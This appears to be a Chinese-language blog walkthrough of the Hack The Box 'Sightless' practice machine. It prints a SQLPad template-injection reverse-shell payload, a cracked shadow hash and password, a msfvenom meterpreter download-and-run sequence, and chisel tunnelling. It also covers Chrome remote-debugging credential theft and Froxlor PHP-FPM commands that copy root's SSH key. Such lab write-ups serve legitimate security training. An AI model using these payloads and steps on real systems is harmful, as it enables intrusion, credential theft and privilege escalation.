HacktheBox-Sightless

Natro922024-09-092024-09-16

被台风刮没了，刚返回文明世界。这周的这个还行，挺简单的。😢

信息搜集

start infoscan
10.10.11.32:80 open
10.10.11.32:22 open
10.10.11.32:21 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://10.10.11.32        code:302 len:154    title:302 Found 跳转url: http://sightless.htb/

子域名扫出来：sqlpad.sightless.htb

Sqlpad 模板注入

huntr - The world’s first bug bounty platform for AI/ML

在 Connections 选择 Add connections，然后再选择 Mysql 服务，将下面的 payload 放入 Database 参数。

1	{{ process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.14.43/7777 0>&1"') }}

然后点击 test 即可。

User - SSH 连接

但是直接给了 root 权限，很显然我们在一个 docker 中，验证了一下果然如此。

注意到 home 下还有michael和node两个用户。

在/etc/shadow文件下仅仅发现了 michael 的 hash。

1	michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

用 hashcat 尝试爆破。

1	hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt

半分钟就爆破出来了。insaneclownposse

尝试用这个密码直接连接 SSH 。

1	ssh michael@10.10.11.32

文件夹下有 userflag。

上个 MSF 的🐎。

# Kali
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.14.43 lport=9292 -f elf > shell
python3 -m http.server 80
msfconsole 
use exploit/multi/handler
set LHOST 10.10.14.43
set LPORT 9292
exploit

# Server
curl 10.10.14.43/shell -O shell
chmod +x shell
./shell

传个 linpeas 先看看。

1	upload /home/kali/桌面/weapon/PE/linpeas.sh /tmp/linpeas.sh

如果需要用 shell 可以加固 shell：

1	python3 -c 'import pty;pty.spawn("/bin/bash")'

注意到本地开放端口：

netstat -tnlp
tcp        0      0 127.0.0.1:36193         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:58791         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33851         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -

8080 有自定义服务。curl 一下看看，发现有服务：

使用 msf 自带的命令穿透出来：

1	portfwd add -L 10.0.0.128 -l 18080 -p 18080 -r 10.10.11.32

但我这里不知道为什么转发不出来，但是不要紧，直接用 ssh 自带的或者 chisel 都可以。

1	ssh -L 8080:127.0.0.1:8080 micheal@10.10.11.32

但是这个也不行？WTF

# kali
./chisel server -p 19292 --reverse
# target
./chisel client 10.10.14.43:19292 R:8080:127.0.0.1:8080

只有这个行，访问下 8080 端口。

但是似乎没法继续前进，找的也不能打。

Google 远程调试（非预期）

linpeas 中 john 用户执行了以下的命令：

/opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.vjEYUV data:,

通过内网穿透出所有的除了两位的端口，然后用 chrome 调试。

一个一个添加之后获取到凭证登录。

提取 session。

PHPSESSID=pgjhtflee9c56639oisthkrao4

找找密码就行了。

这个刷新速度这么快就是不想让从这里读…我推测正常应该从 XSS 这个方向出发，但这都不重要了。

XSS 获取凭证（预期）

这个后面再找找

Froxlor

在 PHP-FPM 中有执行策略，然后按照类似添加

cp /root/.ssh/id_rsa /tmp/id_rsa
# 或者直接复制出来flag文件。
cp /root/root.txt /tmp/root.txt
# 再执行一次赋值权限
chmod 644 /tmp/root.txt

记得拉到最下面保存！！！

然后到 Froxlor 的 Settings - PHP-FPX 页面关闭 php-fpm 保存之后再打开。

记得要在执行一次赋权限。

然后

盘外招

内网 8080 端口的密码：admin:ForlorfroxAdmin

root id_rsa：